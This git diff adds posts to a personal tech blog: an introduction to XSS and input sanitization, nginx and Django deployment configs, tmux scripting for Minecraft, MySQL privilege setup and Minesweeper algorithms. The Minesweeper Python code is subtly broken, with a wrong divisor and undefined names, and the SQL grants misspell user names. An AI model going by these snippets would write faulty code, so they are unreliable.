+things will indeed <b>show up bold</b>.
+
+ +

Notice how all visible left angle brackets use an &lt; to show them?

+ +

These are called escape characters. +They tell a system, in this case your web browser: +“Hello! Please show me off! I don’t want to be hidden.”

+ +

Sanitization

+ +

Most of the time XSS attacks are done using poorly sanitized HTML <input> elements.

+ +

Sanitization is when a program (usually on the server side), +will remove characters like < and replace them with the aforementioned “escape characters”. +Internally this would be something like &lt;, +but they would show up to a user as <.

+ +

When inputs are not properly sanitized and the input is shown to the user in another part of the website, +then a malicous user can type in HTML that will run whenever anybody tries to look at what they typed. +For example: a name for a quiz website (input) and the leaderboard for said quiz (display).

+ +

HTML, by itself is not very dangerous. +The worst thing you could do is probably put a link on your name, +and then point it to a porn site. +Make your name bold, italic. Maybe make the background a funny color. +Although this may annoy your victim it is not dangerous security wise.

+ +

There is one tag however, that is scary…

+ +

<script>

+ +

The <script> tag allows you to write code that can:

+ +
    +
  1. Change the page contents.
  2. +
  3. Redirect the user to a new page automatically.
  4. +
  5. Get a user’s location.
  6. +
  7. Open a user’s microphone/webcam.
  8. +
  9. With the src attribute you can also load a script from another site. (This is XSS)
  10. +
+ +

Those last two will ask for permission from the user (if their browser isn’t insanely insecure).

+ +

In my next article I’ll talk about a website I found which is vulnerable to this attack. +And, show you how you can run your own XSS attack.

+ + +
+ +
+
+ +
+ + diff --git a/2020/05/01/nginx-socket-io-projects/index.html b/2020/05/01/nginx-socket-io-projects/index.html new file mode 100644 index 0000000..97c774a --- /dev/null +++ b/2020/05/01/nginx-socket-io-projects/index.html @@ -0,0 +1,109 @@ + + + + + How to use NGINX as a reverse-proxy server for a Node.js application using socket.io | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

How to use NGINX as a reverse-proxy server for a Node.js application using socket.io

+ +
+
+ +

Despite the long name of the article, I have a feeling this may apply to more people than I might think. +If you have a Node.js application which needs socket.io connections that you want to pass throgh nginx’s reverse_proxy directive then this is the article for you!

+ +

You must seperate the socket.io sockets and the static resources.

+ +
    +
  • The socket connections can be routed through the default $host/socket.io if you want to ease modifications to the source code.
  • +
  • The connections to your main npm Node.js application can be routed through the relevant directory.
  • +
+ +

Here is the relevant part of my projects.tait.tech.conf file:

+ +
+location /socket.io {
+  proxy_pass http://localhost:8080/socket.io/;
+  proxy_set_header Upgrade $http_upgrade;
+  proxy_set_header Connection "upgrade";
+  proxy_http_version 1.1;
+  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+  proxy_set_header Host $host;
+}
+
+location /ttrpg {
+  proxy_pass http://localhost:8080/;
+  proxy_set_header Host $host;
+  proxy_set_header X-Real-IP $remote_addr;
+  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+}
+
+ +

Explaination:

+ +

For this application, +I needed the /ttrpg directory to connect to my main Node.js instance. This was going to be the root of a ttrpg project. +It was to have static files served form my Node.js application.

+ +

I also needed /socket.io to conenct to my running npm instance. +When I tried to route all the traffic through the /trrpg location directive +I had no luck whatsoever; +$host/ttrpg/socket.io/* calls always failed with a 404.

+ +

Having two seperate blocks forwarding in different ways seems to fix this. +I am not knowledgable enough to understand how.

+ +

For now, the project is alive!!!

+ +

Happy hacking!

+ +

P.S. I forgot to mention I also symbolically linked the socket.io.js file (that node is supposed to serve automatically) to the static client dir. +For some reson the node instance would not serve this file without that.

+ +
+$ pwd
+/home/user/ttrpg.co/client
+$ ln -s ../server/node_modules/socket.io-client/dist/socket.io.js .
+
+ +

Happy hacking 2.0!

+ +
+ +
+
+ +
+ + diff --git a/2020/05/19/clue-announcement/index.html b/2020/05/19/clue-announcement/index.html new file mode 100644 index 0000000..2e69ef7 --- /dev/null +++ b/2020/05/19/clue-announcement/index.html @@ -0,0 +1,66 @@ + + + + + New Game: Clue (coming soon) | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

New Game: Clue (coming soon)

+ +
+
+ +

Ooo! Exciting! +Today I want to announce a new project I’ll be working on which should be live within the month of May: +Clue.

+ +

The original board game, implemented in an accessible format via the web.

+ +

It uses a Node.js backend and standard Javascript/HTML frontend. +Nothing fancy.

+ +

All the code will be hosted here: https://github.com/TTWNO/clue

+ +

It will be licensed under the BSD-3 license, meaning it can be used for any reason—even commercially and without source-code disclosure—without prior authorization, but it must acknowledge that I helped build the end product.

+ +

Once the project is live, it will be located at: Lame Games (currently a dead link).

+ + +
+ +
+
+ +
+ + diff --git a/2020/06/04/site-update/index.html b/2020/06/04/site-update/index.html new file mode 100644 index 0000000..f78799a --- /dev/null +++ b/2020/06/04/site-update/index.html @@ -0,0 +1,57 @@ + + + + + Site Update | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Site Update

+ +
+
+ +

I updated the site with some easier to identify information about me and my projects :)

+ +

Also, Clue has been delayed due to my partner in crime on the project wokring too many hours.

+ +

I also posted a new project called Caesar Cipher in C. It will be an intermediate example of how to use build systems like make.

+ + +
+ +
+
+ +
+ + diff --git a/2020/06/25/tmux-minecraft/index.html b/2020/06/25/tmux-minecraft/index.html new file mode 100644 index 0000000..e4f15a6 --- /dev/null +++ b/2020/06/25/tmux-minecraft/index.html @@ -0,0 +1,182 @@ + + + + + How to use tmux to send and receive things from your Minecraft server | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

How to use tmux to send and receive things from your Minecraft server

+ +
+
+ +

So recently I had problem. +I run a Minecraft server on a big Linux computer I have running in my room. +Now, as a system administrator it is very helpful to be able to run some simple commands without needing to login with my key, password, TFA, etc. +It is, frankly, a lot of work. +Especially when I really just want to be playing games but I just need to check something quickly.

+ +

So for simple things like finding out of the network, CPU, memory or disk usage is my bottleneck, I wrote this really nifty script to connect the world of Minecraft and the Linux shell.

+ +

My completed solution for what I needed can be found at https://github.com/TTWNO/termcraft.

+ +

If you want some of the implementation details, stick around.

+ +

Solution

+ +

So to solve this interesting problem, I decided to use tmux. +tmux is a tterminal multiplexer. +This allows you to run a terminal session, then detach fromc it while it still runs in the background.

+ +

This is very valuable when running command line applications that need to have an active console connection, like a Minecraft server.

+ +

So first I looked at the tmux command send-keys.

+ +

send-keys

+ +

send-keys allows you to send text, and key presses to a tmux session. +Now assuming this tmux session is attached to a Minecraft server, +there is no reason you could not run a command like this:

+ +
+$ tmux send-keys "tell @a This is a Test" Enter
+
+ +

This will send the text “tell @a This is a Test” to the Minecraft server. +Then, it will hit the newline character, this will execute the command.

+ +

So now we can send information to the server and have it tell the users something.

+ +

But how do we get information about who is typing what in the Minecraft chat?

+ +

tmux’s capture-pane is painful

+ +

So in the manual page for tmux I can see a section recorded below for options I can give to the capture-pane subcommand.

+ +
+  -S and -E specify the starting and ending line numbers,
+  zero is the first line of the visible pane and negative
+  numbers are lines in the history.  ‘-’ to -S is the start
+  of the history and to -E the end of the visible pane.  The
+  default is to capture only the visible contents of the pane.
+
+ +

What it seems to be saying is I can start at line -S n and end at line -E n. +Negative numbers start from the bottom, so in theory I can do the following: tmux capture-pane -S -1 should capture only the last line, because I’m starting from the last line. Right?

+ +

No. It just doesn’t work. Negative numbers do not work with the tmux capture-pane subcommand.

+ +

So I did some simple UNIX piping, like so, to get just the last thing in the chat.

+ +
+$ tmux capture-pane -p -t steve | tail -n1
+[SERVER] [ExtraDebuggingInfoHere]: <TaterTheTot> MY_MESSAGE
+
+

TaterTheTot is my Minecraft username :)

+ +

-p prints the result to the terminal/stdout.

+ +

steve is the name of the tmux session I’m trying to pull form.

+ +

So that’s done! Beauty!

+ +

Now that we have that, how can we extract the username and the message from the latest line?

+ +

grep

+ +

grep is a command to find patterns of text. +grep has an option to only show a matching pattern of text. +This option is -o.

+ +

Let’s see how we can use this in conjunction with our latest line of server output to get our results.

+ +
+$ echo "[DEBUG] [SERVER] blah blah: <TaterTheTot> MY_MESAGE" | grep -o "<.*>"
+<TaterTheTot>
+
+ +

Now, that’s my name with the < and > attached. Not bad! +We can use the sed command to clean it up a bit.

+ +

The syntax is like so: select/somepattern/replacewith/global

+ +

So the following command is: s/[<>]//g

+ +

Select any characters that are either < or >. +Replace with nothing. +Do so globally (as in, don’t stop after you replace only one character).

+ +

Take two!

+ +
+$ echo "[DEBUG] [SERVER] blah blah: <TaterTheTot> MY_MESAGE" | grep -o "<.*>" | sed 's/[<>]//g'
+TaterTheTot
+
+ +

Beautiful!

+ +

Now what about that pesky message?

+ +

more grep; more sed

+ +

Simple: capture everything after the >. Leaving the user’s message entirely in tact.

+ +
+$ echo "[DEBUG] [SERVER] blah blah: <TaterTheTot> MY_MESAGE" | grep -o ">.*$" | sed 's/> //'
+MY_MESSAGE
+
+ +

So now we have a way to get the username of someone typing in the Minecraft server chat. +We have a way to find out what they said. +And, we have a way to respond.

+ +

You can imagine how these might go together for your own use case.

+ +

Conclusion

+ +

This shows some pretty fun stuff you can do with a few simple Linux commands and a Minecraft server.

+ +

I hope you learned something and found my explanations not horrific haha!

+ +

Remember to checkout the git repository to see what I did with it: https://github.com/TTWNO/termcraft.

+ +

Happy hacking!

+ +
+ +
+
+ +
+ + diff --git a/2020/07/12/independence/index.html b/2020/07/12/independence/index.html new file mode 100644 index 0000000..e29b881 --- /dev/null +++ b/2020/07/12/independence/index.html @@ -0,0 +1,90 @@ + + + + + Independence | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Independence

+ +
+
+ +
+

“When given a choice between independence and dependence, always choose independence; you will never regret that choice!”—Luke Smith

+
+ +

Whatever you may believe about the YouTube personality Luke Smith, +the quote above summarizes a core principle of mine. +Much like many people have religious principles, I have Independence.

+ +

My choice to use Linux as my primary operating system, +host my own website, +own my own domain name—all of these are directly related to this core principle of independence.

+ +

I never want a man, or a company to have too much power over my life. +Just like I would not trust just any person to be able to read my emails, +know where I live, where I am going, who are my friends, what do I believe; in the same way, I do not trust a company with that same information.

+ +
+

“If you want to find out what a man is to the bottom, give him power. Any man can stand adversity — only a great man can stand prosperity.”—Robert Ingersoll

+
+ +

Take control of your own digital life:

+ +
    +
  1. Own your own domain.
  2. +
  3. Hookup an email and a website to that.
  4. +
+ +

That’s it!

+ +

Without this, any of your internet privileges can be revoked at any time by Google, Facebook, YouTube, Twitter, or even an angry Twitter Mob. Maybe because they hate your skin colour, maybe they hate your religious/political views, or maybe you got caught on a technicality.

+ +

If you own your own domain, however:

+ +

Your email provider goes down/bans you: change your provider; keep the email.

+ +

Your website is pulled for controversial views: switch hosts.

+ +

Protect yourself; give yourself choices. +Why give others that power when you could have it for yourself?

+ +
+ +
+
+ +
+ + diff --git a/2020/07/19/multicraft-php-gentoo/index.html b/2020/07/19/multicraft-php-gentoo/index.html new file mode 100644 index 0000000..9b26273 --- /dev/null +++ b/2020/07/19/multicraft-php-gentoo/index.html @@ -0,0 +1,145 @@ + + + + + Installing MultiCraft on Gentoo Linux | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Installing MultiCraft on Gentoo Linux

+ +
+
+ +

In a very odd combination of requirements, +I needed to install MultiCraft on a Gentoo Linux system. +The PHP USE flags are important so you don’t have to recompile it three times like I did.

+ +

Here are some useful tips I came across:

+ +

PHP USE flags

+ +

In /etc/portage/package.use/php I placed the following line:

+ +
+dev-lang/php cgi mysql mysqli fpm pdo gd truetype
+
+ +

This should give you enough for a mysql backended MultiCraft installation. +The cgi option may not be required as fpm stands for FastCGI Process Managment. +I don’t know for sure though.

+ +

Paper

+ +

This will grab the latest version of the Paper jar file using YivesMirror. +I’m not sure how reputable it is, +but my buddy who works with this stuff more often than me seemed to recognize it.

+ +
+## See the default craftbukkit.jar.conf for a detailed documentation of the
+## format of this file.
+[config]
+name = Paper 1.16.1 Latest
+source = https://yivesmirror.com/files/paper/Paper-1.16.1-latest.jar
+category = Mods
+
+[encoding]
+#encode = system
+#decode = system
+#fileEncoding = latin-1
+
+[start]
+command = "{JAVA}" -Xmx{MAX_MEMORY}M -Xms{START_MEMORY}M -XX:MaxPermSize=128M -Djline.terminal=jline.UnsupportedTerminal -jar "{JAR}" nogui
+
+ +

Other Tips

+ +

Do not use the option to setup a separate user for each server. +This completely stalled any work getting done with a ton of ‘permission denied’ errors.

+ +

Security

+ +

If the panel is in the root directory of your NGINX web server, +use the following in your server block to deny access to the /protected directory.

+ +
+location /protected {
+  deny all;
+  return 404;
+}
+
+ +
MySQL
+ +

It is always good practice to separate privileges. +The MultiCraft daemon should have one SQL login, +with one database allocated to it. +The MultiCraft panel should have a separate SQL login, +with a separate database allocated to it.

+ +

You can do this with the following commands in your MySQL prompt:

+ +
+sql> CREATE DATABASE multicraft_daemon_database;
+Query OK, 0 rows affected (0.01 sec)
+
+sql> CREATE DATABASE multicraft_panel_database;
+Query OK, 0 rows affected (0.01 sec)
+
+sql> CREATE USER 'muilticraft_daemon'@'localhost' IDENTIFIED BY 'strong password here';
+Query OK, 0 rows affected (0.01 sec)
+
+sql> CREATE USER 'multicraft_panel'@'localhost' IDENTIFIED BY 'different strong password here';
+Query OK, 0 rows affected (0.01 sec)
+
+sql> GRANT ALL PRIVILEGES ON multicraft_daemon_database . * TO 'multicraft_daemon'@'localhost';
+Query OK, 0 rows affected (0.01 sec)
+
+sql> GRANT ALL PRIVILEGES ON multicraft_panel_database . * TO 'mutlicraft_panel'@'localhost';
+Query OK, 0 rows affected (0.01 sec)
+
+
+ +

During setup, make sure the proper credentials are used for each step. +Database 1 is the panel database. +Database 2 is the daemon database.

+ +

Happy hacking :)

+ +
+ +
+
+ +
+ + diff --git a/2020/07/30/canadian-parliament/index.html b/2020/07/30/canadian-parliament/index.html new file mode 100644 index 0000000..6d1540e --- /dev/null +++ b/2020/07/30/canadian-parliament/index.html @@ -0,0 +1,96 @@ + + + + + Know How Your Representative Votes In Parliament | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Know How Your Representative Votes In Parliament

+ +
+
+ +

As an advocate for openness, I had an idea to make a project out of the government of Canada’s Open Data +initiative to take a look at how my local MP voted on various pieces of legislation. +It turns out though that this was not necessary due to how easy it was to find this information on the government’s own website. +In this article, I will explain how you can do the same.

+ +

1. Find Your Representative

+ +

The first step in this process is to find who your representative is. +To do so, go to the government’s own website +ourcommons.ca’s search tool.

+ +

Simply type in your postal code in the search box to find out who your MP is.

+ +

2. Their Voting Record

+ +

Every MP’s voting record is public knowledge, +and it is available nice and simple in a table on that MP’s page. +For example, this is a link to +Pierre Poilievre’s voting record.

+ +

To find your MP’s voting record, do step one, then: +After the Overview, and Seat in The House sections, +there are three tabs, Roles, Work, and Contact. +Click on work. +At the bottom of that tab is a link which says Chamber Votes. +This will open a small window with some recent votes by this politician. +If you want to see all their votes, there is a button at the bottom named All Votes by This Member.

+ +

Tada! You can now keep your local MP accountable for anything you do or do not support.

+ +

3. Bill Details

+ +

If you want to get into the nitty gritty, +once you open a specific bill, you can actually find out the status of said bill, +or read the actual text by clicking the View this Bill on LEGISinfo button.

+ +

Both the status of the bill, and a link to a PDF document containing the bilingual text of the bill are visible in the main body of the page.

+ +

Conclusion

+ +

I thought this was pretty cool! +It was way simpler than I thought it would be.

+ +

Thanks, Canada!

+ + +
+ +
+
+ +
+ + diff --git a/2020/08/15/openbsd1/index.html b/2020/08/15/openbsd1/index.html new file mode 100644 index 0000000..e5db8e9 --- /dev/null +++ b/2020/08/15/openbsd1/index.html @@ -0,0 +1,85 @@ + + + + + BSD Journey, Part 1 | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

BSD Journey, Part 1

+ +
+
+ +

As Linux becomes controlled by corporate sponsors and becomes more full of proprietary blobs, drivers, and even closed-source software like Steam, +One may wonder if there are other options out there. +For me, somebody that is intensely interested in security, there is one option: OpenBSD.

+ +

Now, my interest in OpenBSD has been going on for a long time. +I started poking around for Linux alternatives way back a few years ago when Linus Torvalds decided to leave after he got in trouble for some +unprofessional behaviour. +That said, Linus did come back to Linux development, +but I knew that his abrasive style is what brought good code to the Linux kernel. +I also knew that his ability to be critical would be hurt by the new +code of conduct. +It would become a tool for the SJW types to hammer on Linus for being a “white male, et al.”; +It would become a tool for the easily offended to use to get their dumb code into Linux; +It would become a tool for the corporatization, the HR-ification of Linux. +Frankly, this does not interest me.

+ +

Now I’m sure that OpenBSD has its own internal policies that I disagree with. +That said, Theo De Raadt is still at least known for calling Firefox an “amorphous peace of garbage” due to its lack of privilege separation. +And, in their project goals page, they specifically mention:

+ +
+

Be as politics-free as possible; solutions should be decided on the basis of technical merit.

+
+ +

Now that’s something I can get behind! +Bet you that’s not in the Linux COC?

+ +

He also went to university in my hometown, so that’s pretty cool! +I can support a local madman who thinks he can make a better operating system than all those corporations. +Maybe he was right, maybe not. What I know is I am excited to find out!

+ +

Wish my luck on my OpenBSD journey. I will post updates here along the way.

+ +

Happy hacking!

+ +
+ +
+
+ +
+ + diff --git a/2020/08/18/django-deployment/index.html b/2020/08/18/django-deployment/index.html new file mode 100644 index 0000000..1346a6f --- /dev/null +++ b/2020/08/18/django-deployment/index.html @@ -0,0 +1,172 @@ + + + + + How to Solve The Django Deployment Puzzle | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

How to Solve The Django Deployment Puzzle

+ +
+
+ +

A few days ago I had a Django project I wanted to put on a real server. +This project is still in its infancy, but I thought it would be nice to put it on my resume and show my friends. +Little did I know the headache coming my way. +Here are some tips to help you not make the same mistakes as me.

+ +

ASGI Servers

+ +

Because my project used the ASGI (Asynchronous webServer Gateway Interface), +I needed to find a good production ASGI server to handle all the incoming requests. +The best thing I found was uvicorn. +It focuses on speed, which is a priority, especially when using the ASGI protocol.

+ +

To run uvicorn on the command line for testing purposes, use something like the following:

+ +
+$ uvicorn --reload myapp.asgi:application
+
+ +

The --reload option says to reload the server if any of the files get updated. +This is not recommended in production. +Sadly, I thought this meant I would need to do a hard shutdown of the server process every time I wanted to update. +This turned out to not be the case.

+ +

Workload Managers

+ +

There is another equine-named program called gunicorn +which can hold a number of processes under its control. +An interesting feature of gunicorn is that it will gracefully switch from an old to a new deployment, +replacing the subprocesses one-by-one and eventually having only the new deployment active on all subprocesses. +The greatest part? Zero down time. +The server keeps any old processes open if there is communication with them, +then shift and new connections to the new deployment. +This was a very cool feature I wanted to take advantage of.

+ +

“Now hold on!” you might protest. +“gunicorn is a WSGI server!” … oh you got me there! +Yes, that’s right, gunicorn is paired with uvicorn to serve my files.

+ +

systemd

+ +

Love it or hate it, the majority of Linux distributions use the systemd init system. +I decided it would be very convenient to have a .service file for my Django application to run automatically at boot. +Systemd allows me to do this with a file like the following one I stored in /lib/systemd/system/lamegames.service.

+ +
+[Unit]
+Description=Gunicorn/Uvicorn (lamegames.io)
+
+[Service]
+WorkingDirectory=/home/lame/lamegames.io
+Type=simple
+RemainAfterExit=yes
+ExecStart=/home/lame/lamegames.io/env/bin/gunicorn lamegames.asgi:application -w 2 -k uvicorn.workers.UvicornWorker
+ExecStop=/bin/kill -HUP $MAINPID
+Restart=always
+
+[Install]
+WantedBy=multi-user.target
+
+ +

nginx

+ +

NGINX (pronounced engine-X) is a performance web server designed for speed and simplicity. +For the front facing side of the site, I do need a production web server like nginx. +Gunicorn simply doesn’t need all the features that nginx provides, but I do. +To configure my nginx installation, I used the following few directives to:

+ +
    +
  1. Redirect most traffic towards the gunicorn server.
  2. +
  3. Redirect statically served files (CSS, JS, images) to the directory specified in the STATIC_ROOT variable of my settings.py file.
  4. +
  5. Use TLS to enable https://
  6. +
+ +

Serving the static files from nginx as opposed to the gunicorn server is necessary. +Gunicorn and other production A/WSGI web server will not set the proper MIME type over TLS. +This will cause your browser to not load the Javascript/CSS.

+ +

This is the important part of my nginx config.

+ +
+server {
+    location / {
+        proxy_set_header Host $http_host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Forwarded-Proto $scheme;
+        # these two lines ensure that WebSocket, and HTTP2 connection are forwarded correctly
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "Upgrade";
+        proxy_redirect off;
+        proxy_buffering off;
+        # this forwards all traffic to the local server on port 8000
+        proxy_pass http://localhost:8000;
+    }
+
+    # This forwards all static requests to Django's STATIC_ROOT set in settings.py; it is generated using the collectstatic command.
+    location /static {
+        autoindex on;
+        alias /home/lame/lamegames.io/static_generated;
+    }
+}
+
+ +

Setup

+ +

After all that, I was able to do the following:

+ +
+# systemctl enable lamegames
+
+ +

This enabled my gunicorn server to run once the server started. +NGINX is that way be default.

+ +

And tada! You now have a working Django project on a production server!

+ +

Notes

+ +
    +
  • If using ws:// websockets, change them to wss:// for secure web sockets.
  • +
  • Make sure to use channels.routing.get_default_application() instead of django.get_asgi_application() if your’re wanting to use channels/redis WebSockets.
  • +
+ +
+ +
+
+ +
+ + diff --git a/2020/09/09/lamegames/index.html b/2020/09/09/lamegames/index.html new file mode 100644 index 0000000..9c5ddae --- /dev/null +++ b/2020/09/09/lamegames/index.html @@ -0,0 +1,60 @@ + + + + + lamegames.tait.tech | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

lamegames.tait.tech

+ +
+
+ +

This is an announcement for a new project of mine: +lamegames.tait.tech.

+ +

This is something I’m really excited to work on!

+ +

Right now, I’ve just got a rock-paper-scissors game. +A chat function, and a few simple card games to come.

+ +

Check out the repository on my Github.

+ +
+ +
+
+ +
+ + diff --git a/2020/09/12/minesweeper/index.html b/2020/09/12/minesweeper/index.html new file mode 100644 index 0000000..eb077cc --- /dev/null +++ b/2020/09/12/minesweeper/index.html @@ -0,0 +1,144 @@ + + + + + Minesweeper Bomb Generation And Tile Revealing | tait.tech + + + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Minesweeper Bomb Generation And Tile Revealing

+ +
+
+ +

When I was creating a little Minesweeper game, I got confused at some points. +My bomb generation didn’t look quite right, and I for sure didn’t quite get the whole cascading tile reveal thing. +With a bit of internet research, I found what I was looking for. +I’ll explain it all in one place for my own research purposes.

+ +

Bomb Generation

+ +

When I started this project I attempted to use a random bomb generator. +By this I mean on each square, before it gets generated, give it a one in 15 change of being a bomb. +Personally, I’m not sure why this never looked right. +Something about the layout of the bombs did not mimic the classic Minesweeper game.

+ +

After looking at some open source Minesweeper examples, I started to get the idea. +I wrote some mathematical statements describing the generation of bombs and how to get their x,y position from an appropriate number. +For those non-mathy people, don’t leave just yet; +there will be code equivalents to the math.

+ +

W and H are the width and height of the board respectively.

+ +

0rW×H +\it 0 \leq r \leq \text W \times \text H + +x=rmodW +\it x = r \bmod \text W + +y=rH +\it y = \left\lfloor\frac{r}{\text H}\right\rfloor +

+ +

The code equivalent to this in Python is below:

+ +
import random
+# r <= 0 <= W*H
+r = random.randint(1, W*H)-1
+
+# x = r mod W
+x = r % W
+
+# y = floor(r/H); note the special syntax python has for this operation
+y = r // H
+
+ +

So that’s that, we can put this in a big ‘ol for loop and generate an arbitrary n number of bombs given a width and height of a Minesweeper board.

+ +

Cascading Tile Revealing

+ +

This one is hard to describe; +I am adapting this from leetcode.com. +Whenever a player clicks a tile, the following logic should be used:

+ +
    +
  1. If a mine is revealed, the game is over. (obviously)
  2. +
  3. If a tile with no adjacent mines is revealed, recursively reveal all eight adjacent tiles.
  4. +
  5. If a tile with one or more adjacent mines is revealed, display the number of mines next to it.
  6. +
+ +

Here is the code in Python for this algorithm.

+ +
def reveal_square(x, y, board, alread_revealed):
+  # if already checked
+  if (x, y) in already_revealed:
+    return
+  # if it's a bomb
+  if board[x][y] == 'B':
+    you_lose()
+    return
+  # if the bomb number is more than 0
+  already_revealed.append((nx, ny))
+
+  # from -1 to 1
+  for xd in range(-1, 2):
+    for yd in range(-1, 2):
+      # skip if it is this the center tile
+      if x+xd == x and y+yd == y:
+        continue
+      # recursively check the adjacent square
+      reveal(x+xd, y+yd, board, already_revealed)
+  return already_revealed
+
+ +

This has no checks for valid squares, but it’s the general idea. +This function returns an array of tile coordinates which should be revealed.

+ +

Conclusion

+ +

I wrote this because in the first place because I was writing my own Minesweeper game. +I hope that this helps you with getting the general idea of a Minesweeper game. +The completed version of this game is available on my lamegames site. +Let me know what you think!

+ +

Happy hacking!

+ +
+ +
+
+ +
+ + diff --git a/2020/10/26/curiosity/index.html b/2020/10/26/curiosity/index.html new file mode 100644 index 0000000..c3bd42b --- /dev/null +++ b/2020/10/26/curiosity/index.html @@ -0,0 +1,123 @@ + + + + + Curiosity | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Curiosity

+ +
+
+ +

Curiosity is fundamental to a deep understanding of any subject. +Masters, Ph.Ds, and other fancy name suffixes will never help you +if you don’t have the spirit of curiosity burning inside of you.

+ +

I was speaking to someone from a journalism major at my school when the subject of hacking arose. +I expected her to know nothing about it, being a journalism student and all, but surprisingly she had something to say about it:

+ +
+

“The best hackers are the ones who are curious.”

+
+ +

That struck a cord with me. +It seems to me she has nailed down the difference between the students who care about grades, +and those who want to learn. +These are not necessarily mutually exclusive, but in my experience they often are due to the way education is structured.

+ +

My Anecdote

+ +

In my second semester at SAIT Polytechnic, I took a class entitled Emerging Trends In Technology. +This class was probably the best class I have ever taken. +We had to combine two things:

+ +
    +
  • Hard skills: learning a new hard skill like Angular, Django, or GPG encryption.
  • +
  • Soft skills: public speaking and presentation of our ideas.
  • +
+ +

Soft skills are not usually my area, but I can do public speaking. +I grew up quite religious, so public speaking was drilled into me young. +I liked to go off script and talk about interesting things I found along the way to the actual point. +My creativity was not usually encouraged. +That said, going off script is useful when teaching and presenting ideas; +it gives a natural air to your breath and an unquestionable confidence in your speech.

+ +

This is how we learn: in relationships. +Try explaining ancient Japanese history to a computer science major, or UNIX sockets to an English major and you’ll see what I mean. +If there is nothing for us to connect the knowledge to, it dissipates.

+ +

So why did I do so well in this class?

+ +

Our task for the semester was as follows:

+ +
    +
  1. Learn a new subject (any emerging trend in technology) which you find fascinating.
  2. +
  3. Give a one minute introduction by week three.
  4. +
  5. Give a 10 minute non-technical overview by week 8.
  6. +
  7. Give a 20 minute technical explaination and demo by week 13.
  8. +
+ +

This is the only course I have ever taken which lets students’ imagination run wild. +Their presentation, their rules. +They treated the students like adults who know what they are doing. +What happened? Everyone stopped coming because “Oh no! Presentations!”?

+ +

No, exactly the opposite. +There was never more than one student missing. +Every single presentation was at least moderately interesting, +and most students were excited to come to that class. +You could see it in their faces, the way they carried themselves. +Every student picked something unique to their tastes, leaving every student more educated than before.

+ +

This class, unlike many others, encouraged the curiosity of the students. +It rewarded those who had unique interests and an ability to sell others on their ideas.

+ +

The curiosity and the grades were one.

+ +

Conclusion

+ +

Although it’s nice to have a course where these goals align here and there, anyone who has been to collage or university can tell you that is far from the norm.

+ +

On the other hand, I never would have started this site if it wasn’t for that class alone. +So I thank you, Kitty Wong, for getting me started running my own “research blog” (?)

+ +
+ +
+
+ +
+ + diff --git a/2020/11/15/nas2/index.html b/2020/11/15/nas2/index.html new file mode 100644 index 0000000..36e760b --- /dev/null +++ b/2020/11/15/nas2/index.html @@ -0,0 +1,145 @@ + + + + + ZFS NAS Box, Part 2 | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

ZFS NAS Box, Part 2

+ +
+
+ +

Back in part one of my NAS project I discussed how I wanted to set up my hardware. +Today, I set up the NAS (almost).

+ +

There were some hiccup along the way, like learning that M.2 slots can disable some of your SATA ports or waiting a month for a host bus adapter to come in from China.

+ +

Why Did It Take So Long

+ +

So it turns out I was going to spend a lot more on this project than I originally anticipated. +I ended up getting a server machine instead of a sleek NAS box. +Here are some of the quick specs:

+ +
    +
  • Standard ATX case by Thermaltake.
  • +
  • LSI 9211-8i.
  • +
  • The cheapest HDMI graphics card I could find on Kijiji.
  • +
  • 6x 3TB Segate HDDs.
  • +
  • 1x 250G Kingston SSD.
  • +
  • AMD Ryzen 5 3600.
  • +
  • MSI B450 Gaming Plus Max.
  • +
  • 2x 8GB FlareX 3200Mhz RAM.
  • +
  • 1x 16GB Kingston 3200Mhz RAM.
  • +
+ +

ZFS

+ +

This is how I decided to configure my storage pools. +In hindsight, this was not the best choice for upgrading. +I may change it in the future to a 0+1 setup, but it works for now.

+ +

I have 5x 3TB in a RAIDZ2 with one drive not attached for redundancy’s sake. +How does one setup a ZFS pool. Check this out:

+ +
+# zpool create poolname raidz2 \
+/dev/by-id/blahblahblah1 \
+/dev/by-id/blahblahblah2 \
+/dev/by-id/blahblahblah3 \
+/dev/by-id/blahblahblah4 \
+/dev/by-id/blahblahblah5
+
+ +

And zippidy-doo! We’ve got a ZFS pool! +We can check its status with zpool status.

+ +
+$ zfs status
+  pool: raid
+ state: ONLINE
+  scan: scrub in progress since Wed Nov 18 18:41:41 2020
+    1.84T scanned at 8.51G/s, 121G issued at 562M/s, 1.84T total
+    0B repaired, 6.45% done, 0 days 00:53:25 to go
+config:
+
+    NAME                                         STATE     READ WRITE CKSUM
+    raid                                         ONLINE       0     0     0
+      raidz2-0                                   ONLINE       0     0     0
+        ata-HGST_HUS724030ALA640_PN2234P8JTNMYY  ONLINE       0     0     0
+        ata-HGST_HUS724030ALA640_PN2234P8JVSXTY  ONLINE       0     0     0
+        ata-HGST_HUS724030ALA640_PN2234P8JXAS8Y  ONLINE       0     0     0
+        ata-HGST_HUS724030ALA640_PN2234P8JXBARY  ONLINE       0     0     0
+        ata-HGST_HUS724030ALA640_PN2234P8JXP77Y  ONLINE       0     0     0
+
+errors: No known data errors
+
+ +

I had run a scrub right before this, so there’s some extra detail in that. +This is really fun! I will be doing more home storage projects soon. +Perhaps Raspberry Pi NAS using all 4 USB ports to load SATA drives on it. +Now that would be fun!

+ +

So I Kinda Have A NAS Now…?

+ +

So right now I can only copy files with rsync, scp and moving data via a physical drive. +The one major disadvantage this has is speed.

+ +

